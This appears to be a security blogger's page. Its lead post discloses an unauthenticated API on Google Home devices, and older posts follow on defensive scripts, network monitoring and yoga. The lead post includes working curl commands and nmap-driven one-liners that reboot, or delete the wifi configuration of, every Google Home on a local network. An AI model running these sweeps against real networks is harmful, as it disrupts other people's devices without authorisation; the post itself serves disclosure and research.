Google Home (in)Security

TL;DR: An undocumented API in Google home devices is easily exploitable.
This command will reboot any on your local network:
nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/\(|\)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://%:8008/setup/reboot

Introduction

I have always been a fan of Google Products, so when they announced the Google Home Hub, I ordered one.

Once I got the Hub on my network I scanned it and it returned the following:

Nmap scan report for hub
Host is up (0.046s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
8008/tcp open http
8009/tcp open ajp13
8443/tcp open https-alt
9000/tcp open cslistener
10001/tcp open scp-config

I was surprised to see so many ports open so I started to do some research and found that these devicies have an undocumented (and amazingly unsecured) API

After spending 15 or 20 minutes looking I found that you can reboot the hub with this unauthenticated curl command:  

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

I tweeted what happens when you run that command:

After I was able to get the Hub to reboot I was hooked and gave up a few hours of sleep to do some research and ended up finding a bunch of “good” information (see reading list at bottom). 

At the end of the night, I was extremely disappointed with the security of these devices especially coming from Google who I trust with so much of my data and is the driving force behind BeyondCorp

Technical Deep Dive

I am going to dive directly into sharing some of the commands I have found and the output and will end by showing how a bad actor could use this API. 

System Information

Pull Basic SSDP Information:

$ curl http://hub:8008/ssdp/device-desc.xml
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
  <specVersion>
    <major>1</major>
    <minor>0</minor>
  </specVersion>
  <URLBase>http://hub:8008</URLBase>
  <device>
    <deviceType>urn:dial-multiscreen-org:device:dial:1</deviceType>
    <friendlyName>Kitchen Display</friendlyName>
    <manufacturer>Google Inc.</manufacturer>
    <modelName>Google Home Hub</modelName>
    <UDN>uuid:11111111-adac-2b60-2102-11111aa111a</UDN>
    <iconList>
      <icon>
        <mimetype>image/png</mimetype>
        <width>98</width>
        <height>55</height>
        <depth>32</depth>
        <url>/setup/icon.png</url>
      </icon>
    </iconList>
    <serviceList>
      <service>
        <serviceType>urn:dial-multiscreen-org:service:dial:1</serviceType>
        <serviceId>urn:dial-multiscreen-org:serviceId:dial</serviceId>
        <controlURL>/ssdp/notfound</controlURL>
        <eventSubURL>/ssdp/notfound</eventSubURL>
        <SCPDURL>/ssdp/notfound</SCPDURL>
      </service>
    </serviceList>
  </device>
</root>

Pull The Eureka Infomation:

$ curl -s http://hub:8008/setup/eureka_info | jq
{
  "bssid": "cc:be:59:8c:11:8b",
  "build_version": "136769",
  "cast_build_revision": "1.35.136769",
  "closed_caption": {},
  "connected": true,
  "ethernet_connected": false,
  "has_update": false,
  "hotspot_bssid": "FA:8F:CA:9C:AA:11",
  "ip_address": "192.168.1.1",
  "locale": "en-US",
  "location": {
    "country_code": "US",
    "latitude": 255,
    "longitude": 255
  },
  "mac_address": "11:A1:1A:11:AA:11",
  "name": "Hub Display",
  "noise_level": -94,
  "opencast_pin_code": "1111",
  "opt_in": {
    "crash": true,
    "opencast": true,
    "stats": true
  },
  "public_key": "Removed",
  "release_track": "stable-channel",
  "setup_state": 60,
  "setup_stats": {
    "historically_succeeded": true,
    "num_check_connectivity": 0,
    "num_connect_wifi": 0,
    "num_connected_wifi_not_saved": 0,
    "num_initial_eureka_info": 0,
    "num_obtain_ip": 0
  },
  "signal_level": -60,
  "ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
  "ssid": "SSID",
  "time_format": 2,
  "timezone": "America/Chicago",
  "tos_accepted": true,
  "uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
  "uptime": 25244.52,
  "version": 9,
  "wpa_configured": true,
  "wpa_id": 0,
  "wpa_state": 10
}

Run A Simple Speedtest:

$ curl -Lv -H Content-Type:application/json --data-raw '{ "url": "https://storage.googleapis.com/reliability-speedtest/random.txt" }' http://hub:8008/setup/test_internet_download_speed

Rebooting

Reboot The System:

$ curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot
*   Trying hub...
* TCP_NODELAY set
* Connected to hub (hub) port 8008 (#0)
> POST /setup/reboot HTTP/1.1
> Host: hub:8008
> User-Agent: curl/7.54.0
> Accept: */*
> Content-Type:application/json
> Content-Length: 16
>
* upload completely sent off: 16 out of 16 bytes
< HTTP/1.1 200 OK
< Access-Control-Allow-Headers:Content-Type
< Cache-Control:no-cache
< Content-Length:0
<
* Connection #0 to host hub left intact

Wireless

List Currently Configured Network:

$ curl http://hub:8008/setup/configured_networks
[{"ssid":"ssid","wpa_auth":7,"wpa_cipher":4,"wpa_id":0}]

Delete The Current Configured Network:

curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://hub:8008/setup/forget_wifi
*   Trying hub...
* TCP_NODELAY set
* Connected to hub (hub) port 8008 (#0)
> POST /setup/forget_wifi HTTP/1.1
> Host: hub:8008
> User-Agent: curl/7.54.0
> Accept: */*
> Content-Type:application/json
> Content-Length: 15
>
* upload completely sent off: 15 out of 15 bytes

This command basically makes the device unusable until you manually reconfigure it using the Google Home application:

Scan For Wireless Networks:

$ curl -X POST http://hub:8008/setup/scan_wifi

List Scan Results:

$ curl http://192.168.1.55:8008/setup/scan_results | jq
[
  {
    "ap_list": [
      {
        "bssid": "11:11:11:11:11:11",
        "frequency": 2462,
        "signal_level": -72
      }
    ],
    "bssid": "11:11:11:11:11:11",
    "signal_level": -72,
    "ssid": "SSID",
    "wpa_auth": 7,
    "wpa_cipher": 4
  },
  {
    "ap_list": [
      {
        "bssid": "11:11:11:11:11:11",
        "frequency": 2412,
        "signal_level": -81
      }
    ],
    "bssid": "11:11:11:11:11:11",
    "signal_level": -81,
    "ssid": "SSID2",
    "wpa_auth": 7,
    "wpa_cipher": 4
  },
  {
    "ap_list": [
      {
        "bssid": "11:11:11:11:11:11",
        "frequency": 2462,
        "signal_level": -77
      }
    ],
    "bssid": "11:11:11:11:11:11",
    "signal_level": -77,
    "ssid": "You_Get_The_Idea",
    "wpa_auth": 7,
    "wpa_cipher": 4
  },
]

Other Commands:

List Alarms and Timers:

$ curl http://hub:8008/setup/assistant/alarms

Disable All Notifcations:

$ curl -Lv -H Content-Type:application/json --data-raw '{ "notifications_enabled": true }' http://hub:8008/setup/assistant/notifications

Malicious Scripting 

Since none of these endpoints require authentication being malicious on a network with these present is trivial.  

This code will reboot all Google Home devices on the network:

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/\(|\)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://%:8008/setup/reboot

This code will delete the wireless network from every Google Home on the network causing a manual reconfgiruation

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

Closing Thoughts

I am genuinely shocked by how poor the overall security of these devices are, even more so when you see that these endpoints have been known for years and relatively well documented. 

I usually would have worked directly with Google to report these issues if they had not previously been disclosed, but due to the sheer amount of prior work online and committed code in their own codebase, it is obvious they know.

Reading List:

Bulk Bug Bounty Scanning With The Burp 2.0 API

The new rest API in Burp 2.0 it is going to be amazing but it will allow things like this 9 line shell script I wrote this morning that will grab all public bounty sites from  @arkadiyt’s  bounty-targets-data repo and kick off a full scan.
https://gist.github.com/jgamblin/c22c0791af7572280d7fd569141650fe
I almost didn’t post this blog because I *think* this script is, in general, a bad idea and will likely lead to frivolous bounty reports and excessive traffic to these sites but if there is going to be an API people will abuse use it. 

MacOS Security Baseline Script

I spend a lot of time working with MacOS and I have noticed that out of the box the operating system has some basic security settings that are not enabled by default so I have built a small script that automates configuring these.
It does the following:

MacOS-Security-Baseline is on GitHub here.  If you have any improvements or suggestions, please submit a GitHub issue or pull request.
I have also built three other tools in the past that compliments this tool:
MacOS-Config configures a new install of MacOS the way I like it.
MacOS-Maid cleans up MacOS by deleting unneeded files, wireless SSID’s and wiping free space.
Blackhat-MacOS-Config does most of what this script does and was the base for it but I wanted to present it to a more general audience.

Leaking Sensitive Data Through Google Groups

Recently I have noticed that companies that use Google Suite have a fairly common misconfiguration that is making their internal groups public.  In some cases it is just the name of the groups but in some extreme cases the content of the posts are public.
Testing for this misconfiguration on your domain is as easy as looking at:
https://groups.google.com/a/%yourdomain.tld%/forum/#!forumsearch/
Google has (not really clear) instructions here on how to lock down your groups so they are not public. I have notified as many of the domains that I can that they have a misconfiguration but I am not able to notify everyone and Google has seemed to file this under It's not a bug, it's a feature.

60 Second Kali Box

I am a fan of Kali Linux and AWS so I love the fact that they have an official AMI.  While spinning up a Kali instance in AWS is fairly easy, I had a long flight today so I wrote a script that will spin up a Kali instance in about 60 seconds.
The script does the following:

  • Builds a security group that only allows SSH access from your current public IP.
  • Writes a new SSH Key in ~/Documents/instantkali/
  • Creates a t2.medium EC2 instance.

Here is the output: 
 
Here is the code:
https://gist.github.com/jgamblin/fff0bd2187f070390248c14cc9148062

Dependency Check A Github Organization

Recently while working on a project I wanted to run OWSAP Dependency Check against a Github Organization to find any out of date frameworks but I couldn’t find an easy way to do it so I built a tool. Right now it will check Node and Ruby applications and put all the out of date frameworks in a single CSV.
As an example I ran the tool against the Netflix Open Source Project and here are the results from today.  They have 35 out of date frameworks in all their public projects.
Here is what it looks like running:
 
Here is the code:

#!/bin/bash
username="[email protected]"
passwordtoken="get from here: https://github.com/settings/tokens"
org="$1"
repos=$(curl -u $username:$passwordtoken -s https://api.github.com/orgs/$org/repos?per_page=200 | jq -r .[].name | sort )
mkdir results
for repo in $repos
do
#Find Default Branch
defaultbranch=$(curl -u $username:$passwordtoken -s https://api.github.com/repos/$org/$repo | jq -r .default_branch)
node=$(curl -u $username:$passwordtoken -s -o /dev/null -I -w "%{http_code}" https://raw.githubusercontent.com/$org/$repo/$defaultbranch/package.json)
  if [ $node -eq "200" ]; then
    printf "Testing %s. \n" "$repo"
    curl -s -u $username:$passwordtoken https://raw.githubusercontent.com/$org/$repo/$defaultbranch/package.json > package.json
    dependency-check --scan ./package.json --project "$repo" --format CSV --out results/$repo.csv
    printf "\n\n"
  else
    ruby=$(curl -u $username:$passwordtoken -s -o /dev/null -I -w "%{http_code}" https://raw.githubusercontent.com/$org/$repo/$defaultbranch/Gemfile.lock)
    if [ $ruby -eq "200" ]; then
    printf "Testing %s. \n" "$repo"
    curl -s -u $username:$passwordtoken https://raw.githubusercontent.com/$org/$repo/$defaultbranch/Gemfile.lock > Gemfile.lock
    dependency-check --scan ./Gemfile.lock ---project "$repo" --format CSV --out results/$repo.csv
    printf "\n\n"
  fi
  printf "%s is not a Node or Ruby Project. Unable to run dependency-check. \n\n" "$repo"
  fi
done
#Consulidate The Report
 cat results/*.csv > results/temp.csv
 awk '!x[$0]++' results/temp.csv > results/temp2.csv
 cut -d',' -f1-4,6- results/temp2.csv > githubvulns.csv
 rm results/*.csv

Some Quick Notes:

  • There was a bug that was just fixed that stopped me from releasing this earlier.
  • I will try to expand this to scan more types of code in the future.
  • Let me know on twitter if you have any questions.

My Year With Yoga

On Friday, January 6th 2017  I walked into the first Yoga class of my life at YogaSol  as part of fulfilling a new years resolution.
I was in the best shape of my life. I was running, swimming and lifting weights multiple times a week. I weighed 165 pounds and was at 9% body fat. I was also really stressed at work, my blood pressure had moved into the hypertension range and I felt like my life was stuck in permanent decision paralysis.
Mark was my teacher that day for a “Gentle Flow” class that lasted 60 minutes and was one of the hardest things I have ever done. The flow made me feel childish (What hand is my left?) and weak (Downward Dog is a resting position?) but more importantly it showed me I couldn’t turn off my brain for 5 minutes for shavasana  ( inhale- ‘Did I send that email?’  Exhale- ‘I should submit a CFP for Defcon this year.’).
I could also tell it would be one of the most fulfilling things I had ever done and stuck with it even when I didn’t want to. I now feel at home on the mat and practice yoga 4 or 5 times a week.

Here are a few things that have stuck with me this year:

Yoga taught me that if I am do not control of my life it controls me.

“Jerry, You didn’t breathe during that sun salutation.”
“…or that one.”
“…Are you trying to hold your breath?”
I really thought my teacher was being hard one me for no reason. I was doing what she asked, when she asked and how she asked. I soon came to understand that if I couldn’t pay mindful attention to the one thing that keeps me alive and control it I am not running my life. My life is running me.

Yoga taught me that more strength I have the less power I want.

I work in security and with that comes the need for power and control. We let this run our lives to the point that we have Brazilian Jiu Jitsu meet-ups at our biggest conferences (which I love).
Yoga quickly taught me that all the power in the world doesn’t matter if you don’t have strength. On Sunday’s I take an afternoon class with Lisa and she loves to say when we are in Downward Dog  “OK Class, we will be resting here for 5 breaths”.
I can bench press 100%+ of my weight multiple times so I thought I should be able to stay in Downward Dog for 60 seconds with no problem. I couldn’t, the 60 year old woman next to me could… and probably could have for 15 minutes.
It took me a few months to start building that strength and at the same time letting go of some of that unneeded power,

Yoga has taught me to disconnect.

I get up at 0415 most mornings and start working and don’t really stop working until I go to bed. I answer emails on  vacation. I write code on the weekends. I.ALWAYS.HAVE.MY.PHONE.
…except at Yoga class. It is the only time of the day that I am not sleeping that I don’t check my phone for an hour plus and the world doesn’t end. I need to get a lot better at this.

Yoga has taught me to slow down.

When I first started yoga I loved the high energy workouts and leaving yoga with the feeling of being totally exhausted. Then one day I took a yin class with Megan and realized that taking the time to slow down really makes me feel complete both mentally and physically.

Yoga has taught me the only way to improve your balance is to practice.

When I first I started yoga I could not do the tree pose at my ankle for 10 seconds without falling down. As I practiced over the last year I have gotten better but not perfect. As with most things in life you have to be willing to fail to get better.

If you ever get to LA check out YogaAqua.

Yoga has taught me to find comfort in discomfort.

If you want to be successful in life you can not stop when things get uncomfortable.  If you can stop yourself from going into Balasana because your arms are tired when your teacher decides in the middle of the downward dog during the fifth sunsultion is the best time to give the complete oral history of a sanskrit word you didn’t hear you can also send that difficult email, ask for a raise and have that hard discussion.
I found Yoga at the perfect time in my life and I look forward to learning the lessons it will have for me in 2018.

Automating Digicert Certificates Into AWS ACM

Like most security professionals I am spending a large amount of time helping my company move securely to AWS.
Certificate management in AWS is done with AWS Certificate Manager  and while they do offer *free* certificates, ACM generated certs are outside your direct control. You don’t get the keys which, at least for some things, should probably be a non-starter (granted, for plenty of other things it’s likely  ¯\_(ツ)_/¯).
I also really like digicert and have been using them for TLS certificates for over 10 years but I could not find any automation already built for Digicert to AWS ACM so I spent some time this week and hacked a script together to do it.
Here is a link to the script  (also embedded at the bottom of the post). On the host running the script you will need AWS CLI  configured and a Digicert API Key.  You also need to configure the first 15 lines of the script with your information.

To Run The Script:

./awasacm.sh your.fdqn.com

Script Output:

Here is what the script looks like running:

Here is the cert uploaded to ACM:

The script also saves all of the commands, keys and certs on the host running the script for auditing and backup:

Full Script:

https://gist.github.com/jgamblin/f8bd03d3743ba4f08f710d5e11c177c7

Closing:

I will be making improvements to this script as we implement it in production and will likely move it to a full GitHub repo soon.   If you have any questions please reach out to me on twitter at @JGamblin. 
Update:  I have built a full Github repo here.

Network Monitoring With Slack Alerting

Last November I hacked together a script that continually monitored your network and sent a slack alert when something change.   It worked but I was never 100% happy with it so I spent some time this weekend and rewrote it so that is hopefully more user friendly and functional. Some changes in this version includes the ability to set timeouts between scans, better output on the machine running the script, better logging and the start of a framework to add new tools.
All you need to run this project for yourself is a Ubuntu install with NMap, PripsSlackCLI and a copy of the script.
Once running here are what a slack alert looks like:

Here is what the script looks like running:

Here is a copy of the script:

#!/bin/bash -u
#
# Requires NMAP, NDIFF, PRIPS and Slackcli
# https://candrholdings.github.io/slack-cli/
# NETOWORKS should be the list of networks you want to monitor.
# INTERVAL how many seconds to wait between scans
# SLACKTOKEN from here https://api.slack.com/web
#
NETWORKS="192.168.0.0/24"
TARGETS=$(for NETWORK in ${NETWORKS}; do prips $NETWORK; done)
INTERVAL="1800"
SLACKTOKEN="Get This From https://api.slack.com/web"
OPTIONS='-T4 --open --exclude-ports 25'
cd  ~/scan
LAST_RUN_FILE='.lastrun'
while true; do
    # If the last run file exists, we should only sleep for the time
    # specified minus the time that's already elapsed.
    if [ -e "${LAST_RUN_FILE}" ]; then
        LAST_RUN_TS=$(date -r ${LAST_RUN_FILE} +%s)
        NOW_TS=$(date +%s)
        LAST_RUN_SECS=$(expr ${NOW_TS} - ${LAST_RUN_TS})
        SLEEP=$(expr ${INTERVAL} - ${LAST_RUN_SECS})
        if [ ${SLEEP} -gt 0 ]; then
            UNTIL_SECS=$(expr ${NOW_TS} + ${SLEEP})
            echo $(date) "- sleeping until" $(date --date="@${UNTIL_SECS}") "(${SLEEP}) seconds"
            sleep ${SLEEP}
        fi
    fi
    START_TIME=$(date +%s)
    echo ''
    echo '=================='
    echo ''
    DATE=`date +%Y-%m-%d_%H-%M-%S`
    for TARGET in ${TARGETS}; do
        CUR_LOG=scan-${TARGET/\//-}-${DATE}
        PREV_LOG=scan-${TARGET/\//-}-prev
        DIFF_LOG=scan-${TARGET/\//-}-diff
	echo ''
	echo $(date) "- starting ${TARGET}"
        # Scan the target
        nmap ${OPTIONS} ${TARGET} -oX ${CUR_LOG} >/dev/null
        # If there's a previous log, diff it
        if [ -e ${PREV_LOG} ]; then
            # Exclude the Nmap version and current date - the date always changes
            ndiff ${PREV_LOG} ${CUR_LOG} | egrep -v '^(\+|-)N' > ${DIFF_LOG}
            if [ -s ${DIFF_LOG} ]; then
			printf "Changes Detected, Sending to Slack."
			nmap -sV ${TARGET} | grep open | grep -v "#" > openports.txt
			slackcli -t $SLACKTOKEN -h nmap -m "Changes were detected on ${TARGET}. The following ports are now open: "
			sleep 1
			cat openports.txt | slackcli -t $SLACKTOKEN -h nmap -c
			rm openports.txt
                # Set the current nmap log file to reflect the last date changed
                ln -sf ${CUR_LOG} ${PREV_LOG}
            else
                # No changes so remove our current log
		printf "No Changes Detected."
                rm ${CUR_LOG}
            fi
            rm ${DIFF_LOG}
        else
            # Create the previous scan log
            ln -sf ${CUR_LOG} ${PREV_LOG}
        fi
    done
    touch ${LAST_RUN_FILE}
    END_TIME=$(date +%s)
    echo
    echo $(date) "- finished all targets in" $(expr ${END_TIME} - ${START_TIME}) "second(s)"
done

Some Quick Notes:

  • You will want to run this in screen so that it runs continually.
  • I excluded port 25 because it was reporting as “filtered” every other scan causing false alerts.
  • NDIFF really needs to be updated.  Its output is ridiculously bad.
  • Let me know on twitter if you have any questions.

Disallow Million Most Common Passwords

I was working on a project recently and was asked if it was possible to stop users from setting common passwords.   Using the pam_cracklib module and @DanielMiessler  common passwords list it is as simple as these 3 commands:

sudo apt-get install libpam-cracklib -y
sudo wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/10_million_password_list_top_1000000.txt /usr/share/dict/ -O /usr/share/dict/million.txt
sudo create-cracklib-dict /usr/share/dict/million.txt


Seriously,  that’s it.
Here is what a user will see when they attempt to use a password from the list: 

Site Footer